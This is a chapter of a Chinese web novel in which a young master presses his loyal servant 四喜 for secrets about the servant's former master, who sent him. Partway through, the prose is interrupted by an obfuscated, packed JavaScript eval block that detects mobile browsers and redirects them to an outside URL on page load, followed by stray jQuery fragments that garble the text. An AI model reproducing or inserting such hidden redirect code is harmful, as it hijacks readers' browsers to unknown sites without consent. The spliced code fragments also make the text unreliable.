16. 忠仆马甲(3)

作品:《孝子贤孙

    嘎吱——


    门阖上了。


    一心完成任务,带着一行人有序撤退。


    安静如鸡的卧房中,段澜觉板着脸坐在床头,四喜垂着眼跪在地上,一旁站着俩不知发生了什么却十分敏锐,不敢吱声的活宝。


    “你们先出去。”


    “是!”


    阿门阿前没敢再来一段贯口,整齐划一行了个礼便退了出去。


    门一关,房中只余主仆二人。


    段澜觉盯着四喜看了几秒,突然嗤笑一声。


    “原来如此,难怪……难怪你见到他跟老鼠见到猫似的,因为你本来就是他的人。


    “倒是我眼神不好了。”


    四喜强撑着身子,细看之下却连眼睫毛都在发颤,“公子,我……”


    “你俩的戏也不比我那养父母的差嘛,要不是受害者还是我,我真该给你们拍手叫好才是。”


    说着,段澜觉真的合掌拍了几下,脸上却一点笑意也无。


    “我几辈子都没遇上过这么精彩的戏,你们主仆二人,可算叫我开了眼了。”


    他放下手,撑着身子往后一挪,把脚盘上了床,若有所思地打量着四喜,“说吧,梁老四让你来我院里做什么潜伏工作呢?监视我的一举一动?还是,偷听我和那对夫妇的对话,好得知我们对他算计到哪一步了?”


    “不,公子误会了,小的不是来监视您的!”


    四喜惊得双手交叠,伏地求饶,“公子请息怒,四少爷让小的过来,只是看您院里没有掌事的仆奴,想叫您得一个可心的人伺候,仅此而已!


    “是小的自作主张,见您为结亲一事心烦,又怕您得知小的是四少爷的心腹,会曲解四少爷的好意,故而暂时隐瞒下来。谁知后来……小的不知如何开口,只能将错就错……”


    四喜说着,又将身子压得更低,“可四少爷对您的关心天地可鉴,绝无他意啊!望公子万万不要疑心四少爷!”


    “你,自作主张?”


    段澜觉笑了,舔了舔嘴唇,“四喜啊,你不会看着我大大咧咧的,就真把我当个蠢货吧?”


    四喜低伏的身子倏地一僵。


    “如果我不知道你是怎样的人也就罢了,可咱俩毕竟朝夕相处这么久,什么事该做什么事不该做,你心里盘得比我还清楚……你现在告诉我,这事是你自作主张瞒下的?”


    段澜觉挑了挑眉,“难道你不知道,这事一旦败露会有什么后果?”


    “……”


    四喜一动不动,一句解释也说不出口。


    “但你的话吧……我也不是完全不能信,”段澜觉叹了口气,顺势往身边的软枕一靠,“毕竟一心凑了各房的能人异士来送人情,你们家少爷送的就是你,这说明他压根就不在乎你的身份暴露。


    “要么,他脸皮厚到家了,故意恶心我;要么……”


    段澜觉随手捞起床帘钩子上的穗穗搔了搔鼻梁,有条不紊分析道,“他一开始把你派来,确实没想到你能做到我近身奴仆的位置,所以没打算跟我报备?


    “只是后来的事情发展出乎了他的想象,所以才……”


    四喜依旧跪伏着,闻言瑟瑟发抖,连指尖都在哆嗦。


    “也不应该啊,你刚才说,他就是看我院里没有牛人才把你派来伺候的……像你这样的人才,搁哪个院都是一等一的打眼,他怎么会想不到呢?”


    段澜觉晃了晃脑子,只觉这主仆俩的心思之深已经远远超过他大小脑容量的极限,决定不纠结了。


    “算了,你来说吧。”


    他猛一下坐直了身体,气场“噌”一下涨到了两米八。


    “看在主仆一场,只要你今天的话能自圆其说,让我找不出破绽,我就勉为其难信你一次,也信你那位鬼迷日眼的四少爷一次。”


    四喜惶惶然抬起头,和段澜觉目光相接,段澜觉一勾嘴角,冲他比了个“加油”的手势,“能不能说服我就看你了啊,加油编哦!”


    “……”


    四喜咽了口唾沫,干巴巴道,“我,我……”


    “你……?”


    “求公子最后信小的一回!”


    四喜遽然发力,再度将头重重磕了下去,实打实在地面叩出“咚”的一声。


    “救命之恩如同再造,四少爷对您只有尊敬,绝无坏心,请公子万万不要疑心于四少爷,更不要同四少爷置气,伤了他的一番好意!”


    “……”


    段澜觉被四喜的动作一惊,下意识要飞身下去扶他,又死死忍住了。


    他看着这位倔如黄牛的忠仆,边舔后槽牙边点头,恨恨道,“车轱辘话又说回来了是吧……行!”


    他整了整衣摆,挺直腰杆道,“你知不知道,世上有一种话,叫‘什么都没说却又什么都说了’?你这个反应很明显就是做贼心虚啊……


    “看来你俩确实有事瞒着我,虽然事情不大,你却是宁死不会说的,对吧?”


    四喜蜷缩指尖,咬唇不语。


    “行,你不说,我心里也有数。我姑且可以相信你和他都不是要害我,但你让我别跟他置气——”


    段澜觉笑了笑,挑眼一看四喜,“将心比心,你若是我,你能做到吗?”


    “……”


    “且不说观鹤亭边,你和他唱了一出双簧,把我当傻子似的耍得团团转,”段澜觉掰起一根手指,又掰下第二根,“也不说昨晚,他当众揭穿我养父母的真面目,没给我留任何情面。”


    他掰下第三根手指,充满鄙夷地笑了笑,“可你瞧他昨晚说话的那个样子?”


    “说一句藏一句,踢一脚动一下,恨不得把‘你家算什么东西,也配跟我家联姻’刻在脑门上……”段澜觉放下手,冷哼一声,“我问你,到底我是他恩人,还是他是我冤家?我不生他的气生谁的气,你吗?我犯得着跟你一个从犯生气吗?”


    “……”


    四喜被段澜觉一番话说得哑口无言,于是又连磕好几个头,“公子消消气,咱们四少爷……不是那样的人。”


    “不~是~那~样~的~人~”


    段澜觉阴阳怪气学舌,端起手边冰镇的绿豆汤喝了口,又想起四喜平日里的熨帖,心中火气稍泄,“……那你起来,跟我说说他是怎样的人。”


    四喜顿了顿,没动,“小的不敢妄议主子。”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337435|183380||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    “他是你主子,我不是?”


    段澜觉又嘬了口汤,压着火同他斡旋,“你都做到一等奴仆了,该不会不知道‘一奴不事二主’吧?”


    四喜咬了咬下唇,“……知道。”


    “知道不就行了!”


    段澜觉将汤盏重重放在床头的高凳上,“你不愿出卖旧主,说出你俩的秘密,这我也忍了,毕竟谁家对外人没点戒心呢是吧……但你,你现在是我的人了呀!”


    段澜觉说着还有点委屈,“难道我让你聊聊他的为人处世,优点缺点,是什么很过分的事吗?”


    四喜依旧摇头,咬紧牙关不语,像个狗皮膏药似的粘在地上一动不动。


    “……”段澜觉说累了,翻了个白眼往后一靠,“那算了,你走吧,我用不起你这样的忠仆。”


    说着又带了些自怨自艾的语气,“想来也是我命不好,先是摊上一对奇葩父母,救个人还能把自己搭进去,好不容易否极泰来,连最亲近的奴仆都不肯跟我交心……


    “哎,命苦啊,命贱……”


    不知是哪个词戳中了四喜,段澜觉感觉他极为明显地抖了一下,随即很缓慢,很缓慢地支起身子。


    “四少爷,四少爷他……”


    果然,对待四喜这样又聪明又忠诚的奴仆,还得连蒙带演,攻心才行。


    只见四喜一脸为难,涨红着脸斟词酌句,仿佛说错一个字都能要了他的命。


    沉默半晌,他艰难挤出一句话,“四少爷为人顶天立地,勤学谨肃,正直端方,是……汴都城内人人称道的真君子。”


    “缺点呢?”


    段澜觉一骨碌坐起身,眼放精光,“你刚才说的这些都是官方话,我也看不出他有多么光明磊落,反而鬼鬼祟祟偷偷摸摸的……诶你说,他是性格上有什么缺陷吗?还有他和栾夫人的关系——”


    咚!


    四喜倏忽以头抢地,朝段澜觉狠狠地磕了好几个头!


    “求公子放过小的,别再问了……”


    最后一下磕完,四喜伏在地上仰起头,头顶已经肿了一个大包,皮下充斥着殷红的血丝,“小的妄议少爷已是死罪,若再胡言乱语,攀扯主君主母之事,那便是罪上加罪,小的万死莫辞呀……”


    “你怕什么!我又不会告诉别人!”


    段澜觉掰扯半天,心头火早就压不住了,扬声大吼,“你让我信你,信他,那你能不能也信信我!”


    “公子!”


    四喜满眼通红,“此事无关信任,求公子不要再逼小的了……您若是心里有气,那便打小的板子出出气,或将小的赶出府去吧!切莫憋坏了身子!”


    “你特么——”


    段澜觉倏地站了起来,“哐”一下撞到了红木床结实的顶帘。


    “哎哟嘶——”


    “公子!”


    四喜连滚带爬起身,又是扶段澜觉坐下,又是给他揉头,还腾出手来吩咐小厮去请大夫,又喊小厨房的婆子过来,煮消肿的汤药和热鸡蛋。


    段澜觉疼得半死还在想:不愧是一等奴仆啊,这有条不紊的调度能力,搁哪个上市公司都能做到中层以上领导干部了吧……